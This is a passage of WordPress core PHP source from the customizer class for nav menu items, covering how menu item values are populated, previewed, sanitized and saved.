$original_term_title = get_term_field( 'name', $item->object_id, $item->object, 'raw' );
if ( ! is_wp_error( $original_term_title ) ) {
$original_title = $original_term_title;
}
} elseif ( 'post_type_archive' === $item->type ) {
$original_object = get_post_type_object( $item->object );
if ( $original_object ) {
$original_title = $original_object->labels->archives;
}
}
return $original_title;
}
/**
* Get type label.
*
* @since 4.7.0
*
* @param object $item Nav menu item.
* @return string The type label.
*/
protected function get_type_label( $item ) {
if ( 'post_type' === $item->type ) {
$object = get_post_type_object( $item->object );
if ( $object ) {
$type_label = $object->labels->singular_name;
} else {
$type_label = $item->object;
}
} elseif ( 'taxonomy' === $item->type ) {
$object = get_taxonomy( $item->object );
if ( $object ) {
$type_label = $object->labels->singular_name;
} else {
$type_label = $item->object;
}
} elseif ( 'post_type_archive' === $item->type ) {
$type_label = __( 'Post Type Archive' );
} else {
$type_label = __( 'Custom Link' );
}
return $type_label;
}
/**
* Ensure that the value is fully populated with the necessary properties.
*
* Translates some properties added by wp_setup_nav_menu_item() and removes others.
*
* @since 4.3.0
*
* @see WP_Customize_Nav_Menu_Item_Setting::value()
*/
protected function populate_value() {
if ( ! is_array( $this->value ) ) {
return;
}
if ( isset( $this->value['menu_order'] ) ) {
$this->value['position'] = $this->value['menu_order'];
unset( $this->value['menu_order'] );
}
if ( isset( $this->value['post_status'] ) ) {
$this->value['status'] = $this->value['post_status'];
unset( $this->value['post_status'] );
}
if ( ! isset( $this->value['nav_menu_term_id'] ) && $this->post_id > 0 ) {
$menus = wp_get_post_terms(
$this->post_id,
WP_Customize_Nav_Menu_Setting::TAXONOMY,
array(
'fields' => 'ids',
)
);
if ( ! empty( $menus ) ) {
$this->value['nav_menu_term_id'] = array_shift( $menus );
} else {
$this->value['nav_menu_term_id'] = 0;
}
}
foreach ( array( 'object_id', 'menu_item_parent', 'nav_menu_term_id' ) as $key ) {
if ( ! is_int( $this->value[ $key ] ) ) {
$this->value[ $key ] = (int) $this->value[ $key ];
}
}
foreach ( array( 'classes', 'xfn' ) as $key ) {
if ( is_array( $this->value[ $key ] ) ) {
$this->value[ $key ] = implode( ' ', $this->value[ $key ] );
}
}
if ( ! isset( $this->value['title'] ) ) {
$this->value['title'] = '';
}
if ( ! isset( $this->value['_invalid'] ) ) {
$this->value['_invalid'] = false;
$is_known_invalid = (
( ( 'post_type' === $this->value['type'] || 'post_type_archive' === $this->value['type'] ) && ! post_type_exists( $this->value['object'] ) )
||
( 'taxonomy' === $this->value['type'] && ! taxonomy_exists( $this->value['object'] ) )
);
if ( $is_known_invalid ) {
$this->value['_invalid'] = true;
}
}
// Remove remaining properties available on a setup nav_menu_item post object which aren't relevant to the setting value.
$irrelevant_properties = array(
'ID',
'comment_count',
'comment_status',
'db_id',
'filter',
'guid',
'ping_status',
'pinged',
'post_author',
'post_content',
'post_content_filtered',
'post_date',
'post_date_gmt',
'post_excerpt',
'post_mime_type',
'post_modified',
'post_modified_gmt',
'post_name',
'post_parent',
'post_password',
'post_title',
'post_type',
'to_ping',
);
foreach ( $irrelevant_properties as $property ) {
unset( $this->value[ $property ] );
}
}
/**
* Handle previewing the setting.
*
* @since 4.3.0
* @since 4.4.0 Added boolean return value.
*
* @see WP_Customize_Manager::post_value()
*
* @return bool False if method short-circuited due to no-op.
*/
public function preview() {
if ( $this->is_previewed ) {
return false;
}
$undefined = new stdClass();
$is_placeholder = ( $this->post_id < 0 );
$is_dirty = ( $undefined !== $this->post_value( $undefined ) );
if ( ! $is_placeholder && ! $is_dirty ) {
return false;
}
$this->is_previewed = true;
$this->_original_value = $this->value();
$this->original_nav_menu_term_id = $this->_original_value['nav_menu_term_id'];
$this->_previewed_blog_id = get_current_blog_id();
add_filter( 'wp_get_nav_menu_items', array( $this, 'filter_wp_get_nav_menu_items' ), 10, 3 );
$sort_callback = array( __CLASS__, 'sort_wp_get_nav_menu_items' );
if ( ! has_filter( 'wp_get_nav_menu_items', $sort_callback ) ) {
add_filter( 'wp_get_nav_menu_items', array( __CLASS__, 'sort_wp_get_nav_menu_items' ), 1000, 3 );
}
// @todo Add get_post_metadata filters for plugins to add their data.
return true;
}
/**
* Filters the wp_get_nav_menu_items() result to supply the previewed menu items.
*
* @since 4.3.0
*
* @see wp_get_nav_menu_items()
*
* @param WP_Post[] $items An array of menu item post objects.
* @param WP_Term $menu The menu object.
* @param array $args An array of arguments used to retrieve menu item objects.
* @return WP_Post[] Array of menu item objects.
*/
public function filter_wp_get_nav_menu_items( $items, $menu, $args ) {
$this_item = $this->value();
$current_nav_menu_term_id = null;
if ( isset( $this_item['nav_menu_term_id'] ) ) {
$current_nav_menu_term_id = $this_item['nav_menu_term_id'];
unset( $this_item['nav_menu_term_id'] );
}
$should_filter = (
$menu->term_id === $this->original_nav_menu_term_id
||
$menu->term_id === $current_nav_menu_term_id
);
if ( ! $should_filter ) {
return $items;
}
// Handle deleted menu item, or menu item moved to another menu.
$should_remove = (
false === $this_item
||
( isset( $this_item['_invalid'] ) && true === $this_item['_invalid'] )
||
(
$this->original_nav_menu_term_id === $menu->term_id
&&
$current_nav_menu_term_id !== $this->original_nav_menu_term_id
)
);
if ( $should_remove ) {
$filtered_items = array();
foreach ( $items as $item ) {
if ( $item->db_id !== $this->post_id ) {
$filtered_items[] = $item;
}
}
return $filtered_items;
}
$mutated = false;
$should_update = (
is_array( $this_item )
&&
$current_nav_menu_term_id === $menu->term_id
);
if ( $should_update ) {
foreach ( $items as $item ) {
if ( $item->db_id === $this->post_id ) {
foreach ( get_object_vars( $this->value_as_wp_post_nav_menu_item() ) as $key => $value ) {
$item->$key = $value;
}
$mutated = true;
}
}
// Not found so we have to append it..
if ( ! $mutated ) {
$items[] = $this->value_as_wp_post_nav_menu_item();
}
}
return $items;
}
/**
* Re-apply the tail logic also applied on $items by wp_get_nav_menu_items().
*
* @since 4.3.0
*
* @see wp_get_nav_menu_items()
*
* @param WP_Post[] $items An array of menu item post objects.
* @param WP_Term $menu The menu object.
* @param array $args An array of arguments used to retrieve menu item objects.
* @return WP_Post[] Array of menu item objects.
*/
public static function sort_wp_get_nav_menu_items( $items, $menu, $args ) {
// @todo We should probably re-apply some constraints imposed by $args.
unset( $args['include'] );
// Remove invalid items only in front end.
if ( ! is_admin() ) {
$items = array_filter( $items, '_is_valid_nav_menu_item' );
}
if ( ARRAY_A === $args['output'] ) {
$items = wp_list_sort(
$items,
array(
$args['output_key'] => 'ASC',
)
);
$i = 1;
foreach ( $items as $k => $item ) {
$items[ $k ]->{$args['output_key']} = $i++;
}
}
return $items;
}
/**
* Get the value emulated into a WP_Post and set up as a nav_menu_item.
*
* @since 4.3.0
*
* @return WP_Post With wp_setup_nav_menu_item() applied.
*/
public function value_as_wp_post_nav_menu_item() {
$item = (object) $this->value();
unset( $item->nav_menu_term_id );
$item->post_status = $item->status;
unset( $item->status );
$item->post_type = 'nav_menu_item';
$item->menu_order = $item->position;
unset( $item->position );
if ( empty( $item->title ) && ! empty( $item->original_title ) ) {
$item->title = $item->original_title; // This is NOT entity-decoded. It comes from self::get_original_title().
}
if ( $item->title ) {
$item->post_title = $item->title;
}
// 'classes' should be an array, as in wp_setup_nav_menu_item().
if ( isset( $item->classes ) && is_scalar( $item->classes ) ) {
$item->classes = explode( ' ', $item->classes );
}
$item->ID = $this->post_id;
$item->db_id = $this->post_id;
$post = new WP_Post( (object) $item );
if ( empty( $post->post_author ) ) {
$post->post_author = get_current_user_id();
}
if ( ! isset( $post->type_label ) ) {
$post->type_label = $this->get_type_label( $post );
}
// Ensure nav menu item URL is set according to linked object.
if ( 'post_type' === $post->type && ! empty( $post->object_id ) ) {
$post->url = get_permalink( $post->object_id );
} elseif ( 'taxonomy' === $post->type && ! empty( $post->object ) && ! empty( $post->object_id ) ) {
$post->url = get_term_link( (int) $post->object_id, $post->object );
} elseif ( 'post_type_archive' === $post->type && ! empty( $post->object ) ) {
$post->url = get_post_type_archive_link( $post->object );
}
if ( is_wp_error( $post->url ) ) {
$post->url = '';
}
/** This filter is documented in wp-includes/nav-menu.php */
$post->attr_title = apply_filters( 'nav_menu_attr_title', $post->attr_title );
/** This filter is documented in wp-includes/nav-menu.php */
$post->description = apply_filters( 'nav_menu_description', wp_trim_words( $post->description, 200 ) );
/** This filter is documented in wp-includes/nav-menu.php */
$post = apply_filters( 'wp_setup_nav_menu_item', $post );
return $post;
}
/**
* Sanitize an input.
*
* Note that parent::sanitize() erroneously does wp_unslash() on $value, but
* we remove that in this override.
*
* @since 4.3.0
* @since 5.9.0 Renamed `$menu_item_value` to `$value` for PHP 8 named parameter support.
*
* @param array|false $value The menu item value to sanitize.
* @return array|false|null|WP_Error Null or WP_Error if an input isn't valid. False if it is marked for deletion.
* Otherwise the sanitized value.
*/
public function sanitize( $value ) {
// Restores the more descriptive, specific name for use within this method.
$menu_item_value = $value;
// Menu is marked for deletion.
if ( false === $menu_item_value ) {
return $menu_item_value;
}
// Invalid.
if ( ! is_array( $menu_item_value ) ) {
return null;
}
$default = array(
'object_id' => 0,
'object' => '',
'menu_item_parent' => 0,
'position' => 0,
'type' => 'custom',
'title' => '',
'url' => '',
'target' => '',
'attr_title' => '',
'description' => '',
'classes' => '',
'xfn' => '',
'status' => 'publish',
'original_title' => '',
'nav_menu_term_id' => 0,
'_invalid' => false,
);
$menu_item_value = array_merge( $default, $menu_item_value );
$menu_item_value = wp_array_slice_assoc( $menu_item_value, array_keys( $default ) );
$menu_item_value['position'] = (int) $menu_item_value['position'];
foreach ( array( 'object_id', 'menu_item_parent', 'nav_menu_term_id' ) as $key ) {
// Note we need to allow negative-integer IDs for previewed objects not inserted yet.
$menu_item_value[ $key ] = (int) $menu_item_value[ $key ];
}
foreach ( array( 'type', 'object', 'target' ) as $key ) {
$menu_item_value[ $key ] = sanitize_key( $menu_item_value[ $key ] );
}
foreach ( array( 'xfn', 'classes' ) as $key ) {
$value = $menu_item_value[ $key ];
if ( ! is_array( $value ) ) {
$value = explode( ' ', $value );
}
$menu_item_value[ $key ] = implode( ' ', array_map( 'sanitize_html_class', $value ) );
}
// Apply the same filters as when calling wp_insert_post().
/** This filter is documented in wp-includes/post.php */
$menu_item_value['title'] = wp_unslash( apply_filters( 'title_save_pre', wp_slash( $menu_item_value['title'] ) ) );
/** This filter is documented in wp-includes/post.php */
$menu_item_value['attr_title'] = wp_unslash( apply_filters( 'excerpt_save_pre', wp_slash( $menu_item_value['attr_title'] ) ) );
/** This filter is documented in wp-includes/post.php */
$menu_item_value['description'] = wp_unslash( apply_filters( 'content_save_pre', wp_slash( $menu_item_value['description'] ) ) );
if ( '' !== $menu_item_value['url'] ) {
$menu_item_value['url'] = sanitize_url( $menu_item_value['url'] );
if ( '' === $menu_item_value['url'] ) {
return new WP_Error( 'invalid_url', __( 'Invalid URL.' ) ); // Fail sanitization if URL is invalid.
}
}
if ( 'publish' !== $menu_item_value['status'] ) {
$menu_item_value['status'] = 'draft';
}
$menu_item_value['_invalid'] = (bool) $menu_item_value['_invalid'];
/** This filter is documented in wp-includes/class-wp-customize-setting.php */
return apply_filters( "customize_sanitize_{$this->id}", $menu_item_value, $this );
}
/**
* Creates/updates the nav_menu_item post for this setting.
*
* Any created menu items will have their assigned post IDs exported to the client
* via the {@see 'customize_save_response'} filter. Likewise, any errors will be
* exported to the client via the customize_save_response() filter.
*
* To delete a menu, the client can send false as the value.
*
* @since 4.3.0
*
* @see wp_update_nav_menu_item()
*
* @param array|false $value The menu item array to update. If false, then the menu item will be deleted
* entirely. See WP_Customize_Nav_Menu_Item_Setting::$default for what the value
* should consist of.
* @return null|void
*/
protected function update( $value ) {
if ( $this->is_updated ) {
return;
}
$this->is_updated = true;
$is_placeholder = ( $this->post_id < 0 );
$is_delete = ( false === $value );
// Update the cached value.
$this->value = $value;
add_filter( 'customize_save_response', array( $this, 'amend_customize_save_response' ) );
if ( $is_delete ) {
// If the current setting post is a placeholder, a delete request is a no-op.
if ( $is_placeholder ) {
$this->update_status = 'deleted';
} else {
$r = wp_delete_post( $this->post_id, true );
if ( false === $r ) {
$this->update_error = new WP_Error( 'delete_failure' );
$this->update_status = 'error';
} else {
$this->update_status = 'deleted';
}
// @todo send back the IDs for all associated nav menu items deleted, so these settings (and controls) can be removed from Customizer?
}
} else {
// Handle saving menu items for menus that are being newly-created.
if ( $value['nav_menu_term_id'] < 0 ) {
$nav_menu_setting_id = sprintf( 'nav_menu[%s]', $value['nav_menu_term_id'] );
$nav_menu_setting = $this->manager->get_setting( $nav_menu_setting_id );
if ( ! $nav_menu_setting || ! ( $nav_menu_setting instanceof WP_Customize_Nav_Menu_Setting ) ) {
$this->update_status = 'error';
$this->update_error = new WP_Error( 'unexpected_nav_menu_setting' );
return;
}
if ( false === $nav_menu_setting->save() ) {
$this->update_status = 'error';
$this->update_error = new WP_Error( 'nav_menu_setting_failure' );
return;
}
if ( (int) $value['nav_menu_term_id'] !== $nav_menu_setting->previous_term_id ) {
$this->update_status = 'error';
$this->update_error = new WP_Error( 'unexpected_previous_term_id' );
return;
}
$value['nav_menu_term_id'] = $nav_menu_setting->term_id;
}
// Handle saving a nav menu item that is a child of a nav menu item being newly-created.
if ( $value['menu_item_parent'] < 0 ) {
$parent_nav_menu_item_setting_id = sprintf( 'nav_menu_item[%s]', $value['menu_item_parent'] );
$parent_nav_menu_item_setting = $this->manager->get_setting( $parent_nav_menu_item_setting_id );
if ( ! $parent_nav_menu_item_setting || ! ( $parent_nav_menu_item_setting instanceof WP_Customize_Nav_Menu_Item_Setting ) ) {
$this->update_status = 'error';
$this->update_error = new WP_Error( 'unexpected_nav_menu_item_setting' );
return;
}
if ( false === $parent_nav_menu_item_setting->save() ) {
$this->update_status = 'error';
$this->update_error = new WP_Error( 'nav_menu_item_setting_failure' );
return;
}
if ( (int) $value['menu_item_parent'] !== $parent_nav_menu_item_setting->previous_post_id ) {
$this->update_status = 'error';
$this->update_error = new WP_Error( 'unexpected_previous_post_id' );
return;
}
$value['menu_item_parent'] = $parent_nav_menu_item_setting->post_id;
}
// Insert or update menu.
$menu_item_data = array(
'menu-item-object-id' => $value['object_id'],
'menu-item-object' => $value['object'],
'menu-item-parent-id' => $value['menu_item_parent'],
'menu-item-position' => $value['position'],
'menu-item-type' => $value['type'],
'menu-item-title' => $value['title'],
'menu-item-url' => $value['url'],
'menu-item-description' => $value['description'],
'menu-item-attr-title' => $value['attr_title'],
'menu-item-target' => $value['target'],
'menu-item-classes' => $value['classes'],
'menu-item-xfn' => $value['xfn'],
'menu-item-status' => $value['status'],
);
$r = wp_update_nav_menu_item(
$value['nav_menu_term_id'],
$is_placeholder ? 0 : $this->post_id,
wp_slash( $menu_item_data )
);
if ( is_wp_error( $r ) ) {
$this->update_status = 'error';
$this->update_error = $r;
} else {
if ( $is_placeholder ) {
$this->previous_post_id = $this->post_id;
$this->post_id = $r;
$this->update_status = 'inserted';
} else {
$this->update_status = 'updated';
}
}
}
}
/**
* Export data for the JS client.
*
* @since 4.3.0
*
* @see WP_Customize_Nav_Menu_Item_Setting::update()
*
* @param array $data Additional information passed back to the 'saved' event on `wp.customize`.
* @return array Save response data.
*/
public function amend_customize_save_response( $data ) {
if ( ! isset( $data['nav_menu_item_updates'] ) ) {
$data['nav_menu_item_updates'] = array();
}
$data['nav_menu_item_updates'][] = array(
'post_id' => $this->post_id,
'previous_post_id' => $this->previous_post_id,
'error' => $this->update_error ? $this->update_error->get_error_code() : null,
'status' => $this->update_status,
);
return $data;
}
}